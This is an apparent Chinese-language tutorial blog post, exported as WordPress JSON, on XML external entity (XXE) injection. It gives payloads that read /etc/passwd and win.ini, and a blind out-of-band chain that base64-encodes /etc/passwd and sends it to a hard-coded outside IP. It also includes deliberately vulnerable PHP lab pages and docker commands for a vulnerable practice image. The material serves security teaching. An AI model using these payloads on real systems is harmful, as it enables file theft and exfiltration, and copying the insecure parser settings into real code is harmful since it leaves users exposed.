{"id":2136,"date":"2025-03-24T20:24:49","date_gmt":"2025-03-24T12:24:49","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2136"},"modified":"2025-03-24T20:24:50","modified_gmt":"2025-03-24T12:24:50","slug":"02-xml%e5%a4%96%e9%83%a8%e5%ae%9e%e4%bd%93%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/03\/24\/02-xml%e5%a4%96%e9%83%a8%e5%ae%9e%e4%bd%93%e6%b3%a8%e5%85%a5\/","title":{"rendered":"02.XML\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165"},"content":{"rendered":"

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XXE\u6f0f\u6d1e\u5168\u79f0\u4e3aXML External Entity Injection\uff0c\u5373XML\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165\u3002
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1.\u76f4\u63a5\u901a\u8fc7\u5185\u90e8\u5f15\u7528DTD+\u5f15\u7528\u5916\u90e8\u5b9e\u4f53<\/h2>\n
<?xml version="1.0" encoding="Is0-8859-1"?>\n<!DOCTYPE foo [\n<!ENTITY xxe SYSTEM "file:\/\/\/etc\/passwd" >]>\n<user><username>&xxe;<\/username><password>1234<\/password><\/user>\n<\/code><\/pre>\n
\"Pasted<\/div>
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<?xml version="1.0"?>\n<!DOCTYPE root SYSTEM "http:\/\/115.159.64.94:1234\/evil.dtd">\n<user><username>&xxe;<\/username><password>1234<\/password><\/user>\n<\/code><\/pre>\n
evil.dtd<\/p>\n
<!ENTITY xxe SYSTEM "file:\/\/\/etc\/passwd">\n<\/code><\/pre>\n
\"Pasted<\/p>\n
3.\u65e0\u56de\u663eXXE<\/h2>\n
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<!DOcTYPE convert [\n<!ENTITY % remote SYSTEM "http:\/\/115.159.64.94:1234\/evil.dtd">\n%remote;%int;%send ;\n]>\n<user><username>1<\/username><password>2ad<\/password><\/user>\n<\/code><\/pre>\n
evil.dtd<\/p>\n
<!ENTITY % file SYSTEM "php:\/\/filter\/read=convert.base64-encode\/resource=\/etc\/passwd">\n<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http:\/\/115.159.64.94:1234\/?p=%file;'>">\n<\/code><\/pre>\n
&#x25;<\/code>=%<\/code>
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<?php\nheader('Content-type: text\/html; charset=utf-8');\nlibxml_disable_entity_loader(false);\nif(isset($_POST['xml'])){\n$xml = $_POST['xml'];\n$dom = new DoMDocument();\n$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);\n$data = simplexml_import_dom($dom) ;\necho "result\uff1a".$data;\/\/ \u6709\u56de\u663e\n}\n?>\n\n<html>\n<head>\n<title>XXE\u6848\u4f8b<\/title>\n<\/head>\n<body>\n<h1>XXE\u6848\u4f8b<\/h1>\n<form action=""method="post">\n<input type="text" name="xml" style="width:300px;\nheight:150px;">\n<input type="submit" value="submit">\n<\/form>\n<\/body>\n<\/html>\n<\/code><\/pre>\n
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<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE root [\n<!ENTITY xxe SYSTEM "test.txt">\n]>\n<root>&xxe;<\/root>\n<\/code><\/pre>\n
\"Pasted<\/p>\n
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<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE root [\n<!ENTITY xxe SYSTEM "file:\/\/\/c:\/windows\/win.ini">\n]>\n<root>&xxe;<\/root>\n<\/code><\/pre>\n
\"Pasted<\/p>\n
2.\u65e0\u56de\u663e\u6848\u4f8b<\/h2>\n
<?php\nheader('Content-type: text\/html; charset=utf-8');\nlibxml_disable_entity_loader(false);\nif(isset($_POST['xml'])){\n$xml = $_POST['xml'];\n$dom = new DoMDocument();\n$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);\n$data = simplexml_import_dom($dom) ;\n\/\/echo "result\uff1a".$data;\/\/ \u65e0\u56de\u663e\n}\n?>\n\n<html>\n<head>\n<title>XXE\u6848\u4f8b\u65e0\u56de\u663e<\/title>\n<\/head>\n<body>\n<h1>XXE\u6848\u4f8b\u65e0\u56de\u663e<\/h1>\n<form action=""method="post">\n<input type="text" name="xml" style="width:300px;\nheight:150px;">\n<input type="submit" value="submit">\n<\/form>\n<\/body>\n<\/html>\n<\/code><\/pre>\n
<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE root [\n<!ENTITY xxe SYSTEM "http:\/\/f6ep.callback.red">\n]>\n<root>&xxe;<\/root>\n<\/code><\/pre>\n
\"Pasted<\/p>\n
\u4e94\u3001\u6f0f\u6d1e\u5229\u7528<\/h1>\n
1.\u8bfb\u53d6\u654f\u611f\u6587\u4ef6<\/h2>\n
<?xml version="1.0" encoding="IS0-8859-1"?>\n<!DOCTYPE foo [\n<!ELEMENT foO ANY >\n<!ENTITY xxe SYSTEM "file:\/\/\/etc\/passwd">]>\n<user><username>&xxe;<\/username><password>1234<\/password><\/user>\n<\/code><\/pre>\n
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<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http:\/\/xxx.com\/" >]>\n<name>&GVI;<\/name>\n<\/code><\/pre>\n
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\"Pasted<\/p>\n
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docker pull dockerpull.com\/betsy0\/yjvul-xxel\ndocker run -d -p 30003:80 --restart=always dockerpull.com\/betsy0\/yjvul-xxe1\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
\u4e00\u3001XXE\u6f0f\u6d1e\u539f\u7406 XXE\u6f0f\u6d1e\u5168\u79f0\u4e3aXML External Entity Injection\uff0c\u5373XML\u5916\u90e8\u5b9e […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,20],"tags":[],"class_list":["post-2136","post","type-post","status-publish","format-standard","hentry","category-web","category-xxe"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2136","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2136"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2136\/revisions"}],"predecessor-version":[{"id":2137,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2136\/revisions\/2137"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2136"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}